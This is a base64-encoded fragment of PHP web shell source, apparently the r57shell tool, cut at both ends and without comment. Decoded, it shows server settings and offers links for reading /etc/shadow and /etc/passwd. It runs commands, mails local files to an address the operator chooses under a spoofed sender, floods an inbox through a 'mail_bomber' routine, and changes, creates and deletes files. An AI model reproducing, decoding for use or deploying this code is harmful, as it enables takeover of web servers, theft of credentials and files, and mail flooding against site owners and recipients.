T0ZGPC9mb250PiI7IH0KZWNobyAiPC9iPiIud3MoMik7CmVjaG8gIk1TU1FMOiA8Yj4iOwokbXNzcWxfb24gPSBAZnVuY3Rpb25fZXhpc3RzKCdtc3NxbF9jb25uZWN0Jyk7CmlmKCRtc3NxbF9vbil7ZWNobyAiPGZvbnQgY29sb3I9cmVkPk9OPC9mb250PiI7fWVsc2V7ZWNobyAiPGZvbnQgY29sb3I9Z3JlZW4+T0ZGPC9mb250PiI7fQplY2hvICI8L2I+Ii53cygyKTsKZWNobyAiUG9zdGdyZVNRTDogPGI+IjsKJHBnX29uID0gQGZ1bmN0aW9uX2V4aXN0cygncGdfY29ubmVjdCcpOwppZigkcGdfb24pe2VjaG8gIjxmb250IGNvbG9yPXJlZD5PTjwvZm9udD4iO31lbHNle2VjaG8gIjxmb250IGNvbG9yPWdyZWVuPk9GRjwvZm9udD4iO30KZWNobyAiPC9iPiIud3MoMik7CmVjaG8gIk9yYWNsZTogPGI+IjsKJG9yYV9vbiA9IEBmdW5jdGlvbl9leGlzdHMoJ29jaWxvZ29uJyk7CmlmKCRvcmFfb24pe2VjaG8gIjxmb250IGNvbG9yPXJlZD5PTjwvZm9udD4iO31lbHNle2VjaG8gIjxmb250IGNvbG9yPWdyZWVuPk9GRjwvZm9udD4iO30KZWNobyAiPC9iPiIud3MoMik7CmVjaG8gIk15U1FMaTogPGI+IjsKJG15c3FsaV9vbiA9IEBmdW5jdGlvbl9leGlzdHMoJ215c3FsaV9jb25uZWN0Jyk7CmlmKCRteXNxbGlfb24pe2VjaG8gIjxmb250IGNvbG9yPXJlZD5PTjwvZm9udD4iO31lbHNle2VjaG8gIjxmb250IGNvbG9yPWdyZWVuPk9GRjwvZm9udD4iO30KZWNobyAiPC9iPiIud3MoMik7CmVjaG8gIm1TUUw6IDxiPiI7CiRtc3FsX29uID0gQGZ1bmN0aW9uX2V4aXN0cygnbXNxbF9jb25uZWN0Jyk7CmlmKCRtc3FsX29uKXtlY2hvICI8Zm9udCBjb2xvcj1yZWQ+T048L2ZvbnQ+Ijt9ZWxzZXtlY2hvICI8Zm9udCBjb2xvcj1ncmVlbj5PRkY8L2ZvbnQ+Ijt9CmVjaG8gIjwvYj4iLndzKDIpOwplY2hvICJTUUxpdGU6IDxiPiI7CiRzcWxpdGVfb24gPSBAZnVuY3Rpb25fZXhpc3RzKCdzcWxpdGVfb3BlbicpOwppZigkc3FsaXRlX29uKXtlY2hvICI8Zm9udCBjb2xvcj1yZWQ+T048L2ZvbnQ+Ijt9ZWxzZXtlY2hvICI8Zm9udCBjb2xvcj1ncmVlbj5PRkY8L2ZvbnQ+Ijt9CmVjaG8gIjwvYj48YnI+Ii53cygyKTsKCmVjaG8gIlNhZmVfbW9kZTogPGI+IjsKZWNobyAoKCRzYWZlX21vZGUpPygiPGZvbnQgY29sb3I9cmVkPk9OPC9mb250PiIpOigiPGZvbnQgY29sb3I9Z3JlZW4+T0ZGPC9mb250PiIpKTsKZWNobyAiPC9iPiIud3MoMik7CmVjaG8gIk9wZW5fYmFzZWRpcjogPGI+IjsKaWYoJG9wZW5fYmFzZWRpcikgeyBpZiAoJyc9PSgkZGY9QGluaV9nZXQoJ29wZW5fYmFzZWRpcicpKSkge2VjaG8gIjxmb250IGNvbG9yPXJlZD5pbmlfZ2V0IGRpc2FibGUhPC9mb250PjwvYj4iO31lbHNlIHtlY2hvICI8Zm9udCBjb2xvcj1yZWQ+JGRmPC9mb250PjwvYj4iO307fQplbHNlIHtlY2hvICI8Zm9udCBjb2xvcj1ncmVlbj5OT05FPC9mb250PjwvYj4iO30KZWNobyB3cygyKS4iU2FmZV9leGVjX2RpcjogPGI+IjsKaWYoQGZ1bmN0aW9uX2V4aXN0cygnaW5pX2dldCcpKSB7IGlmICgnJz09KCRkZj1AaW5pX2dldCgnc2FmZV9tb2RlX2V4ZWNfZGlyJykpKSB7ZWNobyAiPGZvbnQgY29sb3I9cmVkPk5PTkU8L2ZvbnQ+PC9iPiI7fWVsc2Uge2VjaG8gIjxmb250IGNvbG9yPWdyZWVuPiRkZjwvZm9udD48L2I+Ijt9O30KZWxzZSB7ZWNobyAiPGZvbnQgY29sb3I9cmVkPmluaV9nZXQgZGlzYWJsZSE8L2ZvbnQ+PC9iPiI7fQplY2hvIHdzKDIpLiJTYWZlX2dpZDogPGI+IjsKaWYoQGZ1bmN0aW9uX2V4aXN0cygnaW5pX2dldCcpKSB7IGlmIChAaW5pX2dldCgnc2FmZV9tb2RlX2dpZCcpKSB7ZWNobyAiPGZvbnQgY29sb3I9Z3JlZW4+T048L2ZvbnQ+PC9iPiI7fWVsc2Uge2VjaG8gIjxmb250IGNvbG9yPXJlZD5PRkY8L2ZvbnQ+PC9iPiI7fTt9CmVsc2Uge2VjaG8gIjxmb250IGNvbG9yPXJlZD5pbmlfZ2V0IGRpc2FibGUhPC9mb250PjwvYj4iO30KZWNobyB3cygyKS4iU2FmZV9pbmNsdWRlX2RpcjogPGI+IjsKaWYoQGZ1bmN0aW9uX2V4aXN0cygnaW5pX2dldCcpKSB7IGlmICgnJz09KCRkZj1AaW5pX2dldCgnc2FmZV9tb2RlX2luY2x1ZGVfZGlyJykpKSB7ZWNobyAiPGZvbnQgY29sb3I9cmVkPk5PTkU8L2ZvbnQ+PC9iPiI7fWVsc2Uge2VjaG8gIjxmb250IGNvbG9yPWdyZWVuPiRkZjwvZm9udD48L2I+Ijt9O30KZWxzZSB7ZWNobyAiPGZvbnQgY29sb3I9cmVkPmluaV9nZXQgZGlzYWJsZSE8L2ZvbnQ+PC9iPiI7fQplY2hvIHdzKDIpLiJTcWwuc2FmZV9tb2RlOiA8Yj4iOwppZihAZnVuY3Rpb25fZXhpc3RzKCdpbmlfZ2V0JykpIHsgaWYgKEBpbmlfZ2V0KCdzcWwuc2FmZV9tb2RlJykpIHtlY2hvICI8Zm9udCBjb2xvcj1yZWQ+T048L2ZvbnQ+PC9iPiI7fWVsc2Uge2VjaG8gIjxmb250IGNvbG9yPWdyZWVuPk9GRjwvZm9udD48L2I+Ijt9O30KZWxzZSB7ZWNobyAiPGZvbnQgY29sb3I9cmVkPmluaV9nZXQgZGlzYWJsZSE8L2ZvbnQ+PC9iPiI7fQoKZWNobyAiPGJyPiIud3MoMik7CmVjaG8gIkRpc2FibGUgZnVuY3Rpb25zIDogPGI+IjskZGY9J2luaV9nZXQgIGRpc2FibGUhJzsKaWYoKEBmdW5jdGlvbl9leGlzdHMoJ2luaV9nZXQnKSkgJiYgKCcnPT0oJGRmPUBpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpKSkpe2VjaG8gIjxmb250IGNvbG9yPWdyZWVuPk5PTkU8L2ZvbnQ+PC9iPiI7fWVsc2V7ZWNobyAiPGZvbnQgY29sb3I9cmVkPiRkZjwvZm9udD48L2I+Ijt9CgppZihAZnVuY3Rpb25fZXhpc3RzKCdkaXNrZnJlZXNwYWNlJykpeyRmcmVlID0gQGRpc2tmcmVlc3BhY2UoJGRpcik7fQplbHNlaWYoQGZ1bmN0aW9uX2V4aXN0cygnZGlza19mcmVlX3NwYWNlJykpeyRmcmVlID0gQGRpc2tfZnJlZV9zcGFjZSgkZGlyKTt9ZWxzZXskZnJlZSA9ICdVbmtub3duJzt9CmlmICghJGZyZWUpIHskZnJlZSA9IDA7fQokYWxsID0gQGRpc2tfdG90YWxfc3BhY2UoJGRpcik7CmlmICghJGFsbCkgeyRhbGwgPSAwO30KZWNobyAiPGJyPiIud3MoMikuIkZyZWUgc3BhY2UgOiA8Yj4iLnZpZXdfc2l6ZSgkZnJlZSkuIjwvYj4gVG90YWwgc3BhY2U6IDxiPiIudmlld19zaXplKCRhbGwpLiI8L2I+IjsKCgppZigkdXN0X3Upe2VjaG8gIjxicj4iLndzKDIpLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMzcnXS4iOiA8Zm9udCBjb2xvcj1ibHVlPiIuJHVzdF91LiI8L2ZvbnQ+Ijt9OwoKaWYoJHVzdF9kKXtlY2hvICI8YnI+Ii53cygyKS4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTM4J10uIjogPGZvbnQgY29sb3I9cmVkPiIuJHVzdF9kLiI8L2ZvbnQ+Ijt9OwoKaWYoJGRvd25sb2FkZXIpe2VjaG8gIjxicj4iLndzKDIpLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxNDInXS4iOiA8Zm9udCBjb2xvcj1ibHVlPiIuJGRvd25sb2FkZXIuIjwvZm9udD4iO307CgoKZWNobyAiPGJyPiIud3MoMikuIjwvYj4iOwplY2hvIHdzKDIpLiRsYi4iIDxhIGhyZWY9JyIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj8xJyB0aXRsZT1cIiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDQ2J10uIlwiPjxiPnBocGluZm88L2I+PC9hPiAiLiRyYjsKZWNobyB3cygyKS4kbGIuIiA8YSBocmVmPSciLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/MicgdGl0bGU9XCIiLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ0NyddLiJcIj48Yj5waHAuaW5pPC9iPjwvYT4gIi4kcmI7CmVjaG8gd3MoMikuJGxiLiIgPGEgaHJlZj0nIi4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iPzMnIHRpdGxlPVwiIi4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NTAnXS4iXCI+PGI+Y3B1PC9iPjwvYT4gIi4kcmI7CmVjaG8gd3MoMikuJGxiLiIgPGEgaHJlZj0nIi4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iPzQnIHRpdGxlPVwiIi4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NTEnXS4iXCI+PGI+bWVtPC9iPjwvYT4gIi4kcmI7CmlmKCEkdW5peCkgewogZWNobyB3cygyKS4kbGIuIiA8YSBocmVmPSciLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/NScgdGl0bGU9XCIiLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ1MCddLiJcIj48Yj5zeXN0ZW1pbmZvPC9iPjwvYT4gIi4kcmI7Cn1lbHNlewogZWNobyB3cygyKS4kbGIuIiA8YSBocmVmPSciLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/NicgdGl0bGU9XCJWaWV3IHN5c2xvZy5jb25mXCI+PGI+c3lzbG9nPC9iPjwvYT4gIi4kcmI7CiBlY2hvIHdzKDIpLiRsYi4iIDxhIGhyZWY9JyIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj83JyB0aXRsZT1cIlZpZXcgcmVzb2x2XCI+PGI+cmVzb2x2PC9iPjwvYT4gIi4kcmI7CiBlY2hvIHdzKDIpLiRsYi4iIDxhIGhyZWY9JyIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj84JyB0aXRsZT1cIlZpZXcgaG9zdHNcIj48Yj5ob3N0czwvYj48L2E+ICIuJHJiOwogZWNobyB3cygyKS4kbGIuIiA8YSBocmVmPSciLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/OScgdGl0bGU9XCJWaWV3IHNoYWRvd1wiPjxiPnNoYWRvdzwvYj48L2E+ICIuJHJiOwogZWNobyB3cygyKS4kbGIuIiA8YSBocmVmPSciLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/MTAnIHRpdGxlPVwiIi4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0OTUnXS4iXCI+PGI+cGFzc3dkPC9iPjwvYT4gIi4kcmI7IAp9CmVjaG8gd3MoMikuJGxiLiIgPGEgaHJlZj0nIi4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iPzExJyB0aXRsZT1cIiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDQ4J10uIlwiPjxiPnRtcDwvYj48L2E+ICIuJHJiOwplY2hvIHdzKDIpLiRsYi4iIDxhIGhyZWY9JyIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj8xMicgdGl0bGU9XCIiLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ0OSddLiJcIj48Yj5kZWxldGU8L2I+PC9hPiAiLiRyYjsKCmlmKCR1bml4ICYmICEkc2FmZV9tb2RlKSAKeyAKIGVjaG8gIjxicj4iLndzKDIpLiI8L2I+IjsKIGVjaG8gd3MoMikuJGxiLiIgPGEgaHJlZj0nIi4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iPzEzJyB0aXRsZT1cIlZpZXcgcHJvY2luZm9cIj48Yj5wcm9jaW5mbzwvYj48L2E+ICIuJHJiOwogZWNobyB3cygyKS4kbGIuIiA8YSBocmVmPSciLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/MTQnIHRpdGxlPVwiVmlldyBwcm9jIHZlcnNpb25cIj48Yj52ZXJzaW9uPC9iPjwvYT4gIi4kcmI7CiBlY2hvIHdzKDIpLiRsYi4iIDxhIGhyZWY9JyIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj8xNScgdGl0bGU9XCJWaWV3IG1lbSBmcmVlXCI+PGI+ZnJlZTwvYj48L2E+ICIuJHJiOwogZWNobyB3cygyKS4kbGIuIiA8YSBocmVmPSciLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/MTYnIHRpdGxlPVwiVmlldyBkbWVzZ1wiPjxiPmRtZXNnPC9iPjwvYT4gIi4kcmI7CiBlY2hvIHdzKDIpLiRsYi4iIDxhIGhyZWY9JyIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj8xNycgdGl0bGU9XCJWaWV3IHZtc3RhdFwiPjxiPnZtc3RhdDwvYj48L2E+ICIuJHJiOwogZWNobyB3cygyKS4kbGIuIiA8YSBocmVmPSciLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/MTgnIHRpdGxlPVwiVmlldyBsc3BjaVwiPjxiPmxzcGNpPC9iPjwvYT4gIi4kcmI7CiBlY2hvIHdzKDIpLiRsYi4iIDxhIGhyZWY9JyIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj8xOScgdGl0bGU9XCJWaWV3IGxzZGV2XCI+PGI+bHNkZXY8L2I+PC9hPiAiLiRyYjsKIGVjaG8gd3MoMikuJGxiLiIgPGEgaHJlZj0nIi4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iPzIwJyB0aXRsZT1cIlZpZXcgaW50ZXJydXB0c1wiPjxiPmludGVycnVwdHM8L2I+PC9hPiAiLiRyYjsKIGVjaG8gd3MoMikuJGxiLiIgPGEgaHJlZj0nIi4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iPzIxJyB0aXRsZT1cIlZpZXcgcmVhbGlzZTFcIj48Yj5yZWFsaXNlMTwvYj48L2E+ICIuJHJiOwogZWNobyB3cygyKS4kbGIuIiA8YSBocmVmPSciLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/MjInIHRpdGxlPVwiVmlldyByZWFsaXNlMlwiPjxiPnJlYWxpc2UyPC9iPjwvYT4gIi4kcmI7CiBlY2hvIHdzKDIpLiRsYi4iIDxhIGhyZWY9JyIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj8yMycgdGl0bGU9XCJWaWV3IGxzYXR0ciAtdmFcIj48Yj5sc2F0dHI8L2I+PC9hPiAiLiRyYjsKCiBlY2hvICI8YnI+Ii53cygyKS4iPC9iPiI7CiBlY2hvIHdzKDIpLiRsYi4iIDxhIGhyZWY9JyIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj8yNCcgdGl0bGU9XCJWaWV3IHdcIj48Yj53PC9iPjwvYT4gIi4kcmI7CiBlY2hvIHdzKDIpLiRsYi4iIDxhIGhyZWY9JyIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj8yNScgdGl0bGU9XCJWaWV3IHdob1wiPjxiPndobzwvYj48L2E+ICIuJHJiOwogZWNobyB3cygyKS4kbGIuIiA8YSBocmVmPSciLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/MjYnIHRpdGxlPVwiVmlldyB1cHRpbWVcIj48Yj51cHRpbWU8L2I+PC9hPiAiLiRyYjsKIGVjaG8gd3MoMikuJGxiLiIgPGEgaHJlZj0nIi4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iPzI3JyB0aXRsZT1cIlZpZXcgbGFzdCAtbiAxMFwiPjxiPmxhc3Q8L2I+PC9hPiAiLiRyYjsKIGVjaG8gd3MoMikuJGxiLiIgPGEgaHJlZj0nIi4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iPzI4JyB0aXRsZT1cIlZpZXcgcHMgLWF1eFwiPjxiPnBzIGF1eDwvYj48L2E+ICIuJHJiOwogZWNobyB3cygyKS4kbGIuIiA8YSBocmVmPSciLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/MjknIHRpdGxlPVwiVmlldyBzZXJ2aWNlXCI+PGI+c2VydmljZTwvYj48L2E+ICIuJHJiOwogZWNobyB3cygyKS4kbGIuIiA8YSBocmVmPSciLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/MzAnIHRpdGxlPVwiVmlldyBpZmNvbmZpZ1wiPjxiPmlmY29uZmlnPC9iPjwvYT4gIi4kcmI7CiBlY2hvIHdzKDIpLiRsYi4iIDxhIGhyZWY9JyIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj8zMScgdGl0bGU9XCJWaWV3IG5ldHN0YXQgLWFcIj48Yj5uZXRzdGF0PC9iPjwvYT4gIi4kcmI7CiBlY2hvIHdzKDIpLiRsYi4iIDxhIGhyZWY9JyIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj8zMicgdGl0bGU9XCJWaWV3IGZzdGFiXCI+PGI+ZnN0YWI8L2I+PC9hPiAiLiRyYjsKIGVjaG8gd3MoMikuJGxiLiIgPGEgaHJlZj0nIi4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iPzMzJyB0aXRsZT1cIlZpZXcgZmRpc2sgLWxcIj48Yj5mZGlzazwvYj48L2E+ICIuJHJiOwogZWNobyB3cygyKS4kbGIuIiA8YSBocmVmPSciLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/MzQnIHRpdGxlPVwiVmlldyBkZiAtaFwiPjxiPmRmIC1oPC9iPjwvYT4gIi4kcmI7Cn0KCmVjaG8gJzwvZm9udD48L3RkPjwvdHI+PHRhYmxlPgo8dGFibGUgd2lkdGg9MTAwJSBjZWxscGFkZGluZz0wIGNlbGxzcGFjaW5nPTAgYmdjb2xvcj0jMDAwMDAwPgo8dHI+PHRkIGFsaWduPXJpZ2h0IHdpZHRoPTEwMD4nOwplY2hvICRmb250OwoKaWYoJHVuaXgpewplY2hvICc8Zm9udCBjb2xvcj1ibHVlPjxiPnVuYW1lIC1hIDonLndzKDEpLic8YnI+c3lzY3RsIDonLndzKDEpLic8YnI+JE9TVFlQRSA6Jy53cygxKS4nPGJyPlNlcnZlciA6Jy53cygxKS4nPGJyPmlkIDonLndzKDEpLic8YnI+cHdkIDonLndzKDEpLic8L2I+PC9mb250Pjxicj4nOwplY2hvICI8L3RkPjx0ZD4iOwplY2hvICI8Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMiBjb2xvcj1yZWQ+PGI+IjsKZWNobygoIWVtcHR5KCR1bmFtZSkpPyh3cygzKS5Ac3Vic3RyKCR1bmFtZSwwLDEyMCkuIjxicj4iKTood3MoMykuQHN1YnN0cihAcGhwX3VuYW1lKCksMCwxMjApLiI8YnI+IikpOwplY2hvIHdzKDMpLiRzeXNjdGwuIjxicj4iOwplY2hvIHdzKDMpLmV4KCdlY2hvICRPU1RZUEUnKS4iPGJyPiI7CmVjaG8gd3MoMykuQHN1YnN0cigkU0VSVkVSX1NPRlRXQVJFLDAsMTIwKS4iPGJyPiI7CmlmKCFlbXB0eSgkaWQpKSB7IGVjaG8gd3MoMykuJGlkLiI8YnI+IjsgfQplbHNlIGlmKEBmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGV1aWQnKSAmJiBAZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRlZ2lkJykgJiYgQGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0Z3JnaWQnKSAmJiBAZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRwd3VpZCcpKQogewogJGV1c2VyaW5mbyAgPSBAcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk7CiAkZWdyb3VwaW5mbyA9IEBwb3NpeF9nZXRncmdpZChAcG9zaXhfZ2V0ZWdpZCgpKTsKIGVjaG8gd3MoMykuJ3VpZD0nLiRldXNlcmluZm9bJ3VpZCddLicgKCAnLiRldXNlcmluZm9bJ25hbWUnXS4nICkgZ2lkPScuJGVncm91cGluZm9bJ2dpZCddLicgKCAnLiRlZ3JvdXBpbmZvWyduYW1lJ10uJyApPGJyPic7CiB9CmVsc2UgZWNobyB3cygzKS4idXNlcj0iLkBnZXRfY3VycmVudF91c2VyKCkuIiB1aWQ9Ii5AZ2V0bXl1aWQoKS4iIGdpZD0iLkBnZXRteWdpZCgpLiI8YnI+IjsKZWNobyB3cygzKS4kZGlyOwplY2hvIHdzKDMpLicoICcucGVybXMoQGZpbGVwZXJtcygkZGlyKSkuJyApJzsKZWNobyAiPC9iPjwvZm9udD4iOwp9CmVsc2UKewplY2hvICc8Zm9udCBjb2xvcj1ibHVlPjxiPk9TIDonLndzKDEpLic8YnI+U2VydmVyIDonLndzKDEpLic8YnI+VXNlciA6Jy53cygxKS4nPGJyPnB3ZCA6Jy53cygxKS4nPC9iPjwvZm9udD48YnI+JzsKZWNobyAiPC90ZD48dGQ+IjsKZWNobyAiPGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTIgY29sb3I9cmVkPjxiPiI7CmVjaG8gd3MoMykuQHN1YnN0cihAcGhwX3VuYW1lKCksMCwxMjApLiI8YnI+IjsKZWNobyB3cygzKS5Ac3Vic3RyKCRTRVJWRVJfU09GVFdBUkUsMCwxMjApLiI8YnI+IjsKZWNobyB3cygzKS5AZ2V0ZW52KCJVU0VSTkFNRSIpLiI8YnI+IjsKZWNobyB3cygzKS4kZGlyOwplY2hvICI8YnI+PC9mb250PiI7Cn0KZWNobyAiPC9mb250PiI7CmVjaG8gIjwvdGQ+PC90cj48L3RhYmxlPiI7CgppZighZW1wdHkoJF9QT1NUWydjbWQnXSkgJiYgJF9QT1NUWydjbWQnXT09Im1haWwiKQogewogJHJlcyA9IG1haWwoJF9QT1NUWyd0byddLCRfUE9TVFsnc3ViaiddLCRfUE9TVFsndGV4dCddLCJGcm9tOiAiLiRfUE9TVFsnZnJvbSddLiJcclxuIik7CiBlcnIoNiskcmVzKTsKICRfUE9TVFsnY21kJ109IiI7ICAKIH0KaWYoIWVtcHR5KCRfUE9TVFsnY21kJ10pICYmICRfUE9TVFsnY21kJ109PSJtYWlsX2ZpbGUiICYmICFlbXB0eSgkX1BPU1RbJ2xvY19maWxlJ10pKQogeyAgCiAgaWYoJGZpbGU9bW9yZXJlYWQoJF9QT1NUWydsb2NfZmlsZSddKSl7ICRmaWxlZHVtcCA9ICRmaWxlOyB9CiAgZWxzZSBpZiAoJGZpbGU9cmVhZHpsaWIoJF9QT1NUWydsb2NfZmlsZSddKSkgeyAkZmlsZWR1bXAgPSAkZmlsZTsgfSBlbHNlIHsgZXJyKDEsJF9QT1NUWydsb2NfZmlsZSddKTsgJF9QT1NUWydjbWQnXT0iIjsgfQogIGlmKCFlbXB0eSgkX1BPU1RbJ2NtZCddKSkgCiAgewogICAgJGZpbGVuYW1lID0gQGJhc2VuYW1lKCRfUE9TVFsnbG9jX2ZpbGUnXSk7CiAgICAkY29udGVudF9lbmNvZGluZz0kbWltZV90eXBlPScnOwogICAgY29tcHJlc3MoJGZpbGVuYW1lLCRmaWxlZHVtcCwkX1BPU1RbJ2NvbXByZXNzJ10pOwogICAgJGF0dGFjaCA9IGFycmF5KAogICAgICAgICAgICAgICAgICAgICJuYW1lIj0+JGZpbGVuYW1lLAogICAgICAgICAgICAgICAgICAgICJ0eXBlIj0+JG1pbWVfdHlwZSwKICAgICAgICAgICAgICAgICAgICAiY29udGVudCI9PiRmaWxlZHVtcAogICAgICAgICAgICAgICAgICAgKTsKICAgIGlmKGVtcHR5KCRfUE9TVFsnc3ViaiddKSkgeyAkX1BPU1RbJ3N1YmonXSA9ICdmaWxlIGZyb20gcjU3c2hlbGwnOyB9CiAgICBpZihlbXB0eSgkX1BPU1RbJ2Zyb20nXSkpIHsgJF9QT1NUWydmcm9tJ10gPSAnYmlsbHlAbWljcm9zb2Z0LmNvbSc7IH0KICAgICRyZXMgPSBtYWlsYXR0YWNoKCRfUE9TVFsndG8nXSwkX1BPU1RbJ2Zyb20nXSwkX1BPU1RbJ3N1YmonXSwkYXR0YWNoKTsKICAgIGVycig2KyRyZXMpOwogICAgJF9QT1NUWydjbWQnXT0iIjsgICAgICAgICAgICAgICAgICAgCiAgfQogfQppZighZW1wdHkoJF9QT1NUWydjbWQnXSkgJiYgJF9QT1NUWydjbWQnXT09Im1haWxfYm9tYmVyIiAmJiAhZW1wdHkoJF9QT1NUWydtYWlsX2Zsb29kJ10pICYmICFlbXB0eSgkX1BPU1RbJ21haWxfc2l6ZSddKSkKIHsKIGZvcigkaD0xOyRoPD0kX1BPU1RbJ21haWxfZmxvb2QnXTskaCsrKXsKICAkcmVzID0gbWFpbCgkX1BPU1RbJ3RvJ10sJF9QT1NUWydzdWJqJ10sJF9QT1NUWyd0ZXh0J10uc3RyX3JlcGVhdCgiICIsIDEwMjQqJF9QT1NUWydtYWlsX3NpemUnXSksIkZyb206ICIuJF9QT1NUWydmcm9tJ10uIlxyXG4iKTsKIH0KIGVycig2KyRyZXMpOwogJF9QT1NUWydjbWQnXT0iIjsgIAogfQppZighZW1wdHkoJF9QT1NUWydjbWQnXSkgJiYgJF9QT1NUWydjbWQnXSA9PSAiZmluZF90ZXh0IikKewokX1BPU1RbJ2NtZCddID0gJ2ZpbmQgJy4kX1BPU1RbJ3NfZGlyJ10uJyAtbmFtZSBcJycuJF9QT1NUWydzX21hc2snXS4nXCcgfCB4YXJncyBncmVwIC1FIFwnJy4kX1BPU1RbJ3NfdGV4dCddLidcJyc7Cn0KaWYoIWVtcHR5KCRfUE9TVFsnY21kJ10pICYmICRfUE9TVFsnY21kJ109PSJjaF8iKQogewogc3dpdGNoKCRfUE9TVFsnd2hhdCddKQogICB7CiAgIGNhc2UgJ293bic6CiAgIEBjaG93bigkX1BPU1RbJ3BhcmFtMSddLCRfUE9TVFsncGFyYW0yJ10pOwogICBicmVhazsKICAgY2FzZSAnZ3JwJzoKICAgQGNoZ3JwKCRfUE9TVFsncGFyYW0xJ10sJF9QT1NUWydwYXJhbTInXSk7CiAgIGJyZWFrOwogICBjYXNlICdtb2QnOgogICBAY2htb2QoJF9QT1NUWydwYXJhbTEnXSxpbnR2YWwoJF9QT1NUWydwYXJhbTInXSwgOCkpOwogICBicmVhazsKICAgfQogJF9QT1NUWydjbWQnXT0iIjsKIH0KaWYoIWVtcHR5KCRfUE9TVFsnY21kJ10pICYmICRfUE9TVFsnY21kJ109PSJtayIpCiB7CiAgIHN3aXRjaCgkX1BPU1RbJ3doYXQnXSkKICAgewogICAgIGNhc2UgJ2ZpbGUnOgogICAgICBpZigkX1BPU1RbJ2FjdGlvbiddID09ICJjcmVhdGUiKQogICAgICAgewogICAgICAgaWYoQGZpbGVfZXhpc3RzKCRfUE9TVFsnbWtfbmFtZSddKSB8fCAhbW9yZXdyaXRlKCRfUE9TVFsnbWtfbmFtZSddLCd5b3VyIHRleHQgaGVyZScpKSB7IGVycigyLCRfUE9TVFsnbWtfbmFtZSddKTsgJF9QT1NUWydjbWQnXT0iIjsgfQogICAgICAgZWxzZSB7CiAgICAgICAgJF9QT1NUWydlX25hbWUnXSA9ICRfUE9TVFsnbWtfbmFtZSddOwogICAgICAgICRfUE9TVFsnY21kJ109ImVkaXRfZmlsZSI7CiAgICAgICAgZWNobyAiPHRhYmxlIHdpZHRoPTEwMCUgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wIGJnY29sb3I9IzAwMDAwMD48dHI+PHRkIGJnY29sb3I9I2NjY2NjYz48ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ2MSddLiI8L2I+PC9mb250PjwvZGl2PjwvdGQ+PC90cj48L3RhYmxlPiI7CiAgICAgICAgfQogICAgICAgfQogICAgICAgZWxzZSBpZigkX1BPU1RbJ2FjdGlvbiddID09ICJkZWxldGUiKQogICAgICAgewogICAgICAgaWYoQHVubGluaygkX1BPU1RbJ21rX25hbWUnXSkpIGVjaG8gIjx0YWJsZSB3aWR0aD0xMDAlIGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MCBiZ2NvbG9yPSMwMDAwMDA+PHRyPjx0ZCBiZ2NvbG9yPSNjY2NjY2M+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NjMnXS4iPC9iPjwvZm9udD48L2Rpdj48L3RkPjwvdHI+PC90YWJsZT4iOwogICAgICAgJF9QT1NUWydjbWQnXT0iIjsKICAgICAgIH0KICAgICBicmVhazsKICAgICBjYXNlICdkaXInOgogICAgICBpZigkX1BPU1RbJ2FjdGlvbiddID09ICJjcmVhdGUiKXsKICAgICAgaWYoQG1rZGlyKCRfUE9TVFsnbWtfbmFtZSddKSkKICAgICAgIHsKICAgICAgICAgJF9QT1NUWydjbWQnXT0iIjs